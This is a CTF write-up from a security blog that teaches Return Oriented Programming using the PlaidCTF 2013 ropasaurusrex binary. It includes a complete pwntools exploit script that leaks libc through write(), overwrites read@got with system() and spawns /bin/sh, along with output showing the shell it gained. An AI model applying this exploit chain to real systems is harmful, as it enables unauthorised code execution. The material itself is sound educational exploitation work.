본문 바로가기

Security/System Hacking

[System Hacking] 5. Return Oriented Programming

Return Oriented Programming

This time i gonna introduce about ROP attack(Return Oriented Programming). Before doing ROP, there are prior knowledges. 'RTL Chaining', 'GOT Overwrite/Dereference', 'Gadget', etc...


- RTL Chaining

'RTL Chaining' means continuously executed RTL. By using pop-..-ret gadget, function's arguments will be popped by 'pop' and next function will be executed by 'ret'. and going on and on.


- Gadget

Gadgets are set of assembly instructions which ends with 'ret' assembly instruction. Why we need this? By using this, we can bypass escaping characters(0x00, 0x0b, ..) and pop-..-ret for RTL chaining, etc..  and there are lots of tools that find useful gadgets like ropme, ROPgadget, etc...


- GOT Overwrite/Dereference

Before reading this, you need to know about PLT and GOT. 'GOT Overwrite' literally means overwriting GOT address :). For example, if there is printf() on binary, then by overwriting printf@got address with system(), when printf() executed, system() will be executed instead of printf(). Dereference is similar with GOT Overwriting. Let printf() address is 0x10 and system is 0x20, and there is printf() on binary. Then we can increase printf@got address by 0x10 to make it system() by using add-... gadget.


- ROP(Return Oriented Programming)

ROP is a technique that uses the ones introduces above or etc appropriately.


Let's see an example of ROP attack with plaid ctf 2013 ropasaurusrex.

1
2
3
4
5
6
7
8
9
10
zero@ubuntu:~/Desktop/pwn/ROP$ file rex
rex: ELF 32-bit LSB executable, Intel 80386, dynamically linked, stripped
zero@ubuntu:~/Desktop/pwn/ROP$ gdb -q ./rex
Reading symbols from ./rex...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
cs

It's 32bit stripped elf binary. And NX and ASLR are on. So we can't use static function address like before. And also a shellcode which executes /bin/sh. We need to leak addresses from the binary.


There is simple buffer overflow vulnerability. buffer size is 0x88 but input size is 0x100. And RET is on 0x8c~0x90.

Our purpose is to execute system("/bin/sh") to get shell. How could we do that?


First, we need to leak some address to get system() address. There is read() in the binary. So let's leak that function. write(1, read@got, 4) will print read@got address to stdout. And calculating offset of read() and system. So when read() address is leaked, we can get system() with that offset by doing this(system = read - offset_read_system). Then we can finally get real system() address.


Second, we need to input "/bin/sh" string to anywhere or find "/bin/sh" on memory. I tried to find "/bin/sh" string on my environment but i can't find. So i just put it in .dynamic section where w permission is enabled(bss and data section are so small to put it in). We can out it by following code. read(0, &.dynamic, len(binsh)). And send "/bin/sh" to stdin.

Additionally, There is no space for writing /bin/sh. we should use mprotect() to make arbitrary space which has wx permission. Then we could use  a shellcode again.


Finally, now we are ready to exploit. We have system() address and the address where "/bin/sh" is put. But how could we execute system(). Maybe we can make another RTL chain like system(&.dynamic) but this time, i just use 'GOT Overwrite'. Target function is read(). If we overwrite system() address to read@got, when read() is executed, system() will be executed instead of read(). And All we have to is writing read() to system(). read(1, read@got, 4) could make it success. And send system() address what we leak to stdin.


Final Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
 
= process('./rex')
= ELF('./rex')
 
read_plt = b.plt['read']
read_got = b.got['read']
write_plt = b.plt['write']
write_got = b.got['write']
 
binsh = "/bin/sh\x00"
free_space = 0x8049530 # .dynamic
read_system = 0x9d0b0  # offset of read() - system()
pppr = 0x080484b6      # pop esi ; pop edi ; pop ebp ; ret
 
payload  = "A"*0x8c
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(free_space)
payload += p32(len(binsh)) # read(0, free_space, 8)
 
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)          # write(1, read_got, 4)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)          # read(0, read_got, 4)
 
payload += p32(read_plt)
payload += "AAAA"
payload += p32(free_space) # read(free_space)
 
p.sendline(payload)
p.send(binsh)
 
read = u32(p.recv(4))      # read_got leak
 
print "/********* Stage 1 - Leaking Libc   ********"
print "Read   : ", hex(read)
system = read - read_system
print "System : ", hex(system)
print "/********* Stage 2 - Got Overwrite  ********"
p.sendline(p32(system))     # read(binsh) -> system(binsh)
 
p.interactive()
cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
zero@ubuntu:~/Desktop/pwn/ROP$ python rex.py
[+] Starting local process './rex': Done
[*'/home/zero/Desktop/pwn/ROP/rex'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
/********* Stage 1 - Leaking Libc   ********
Read   :  0xf76a10d0
System :  0xf7604020
/********* Stage 2 - Got Overwrite  ********
[*] Switching to interactive mode
$ id
uid=1000(zero) gid=1000(zero) groups=1000(zero),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),132(sambashare)
cs

Success!